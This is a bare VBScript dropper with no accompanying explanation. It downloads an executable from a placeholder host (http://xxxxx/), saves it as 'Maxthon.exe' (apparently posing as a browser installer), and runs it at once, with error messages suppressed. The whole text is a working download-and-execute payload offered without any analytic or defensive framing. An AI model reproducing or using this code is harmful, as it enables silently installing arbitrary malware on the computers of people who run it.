posturl="http://xxxxx/Maxthon.exe"
fileto="Maxthon.exe"
On Error Resume Next
Set Post=CreateObject("Microsoft.XMLHTTP")
Set Shell=CreateObject("Wscript.Shell")
Post.Open "get", posturl,0
Post.Send()
Set aGet=CreateObject("ADODB.Stream")
aGet.Mode=3
aGet.Type=1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile fileto,2
Shell.Run(fileto)

> >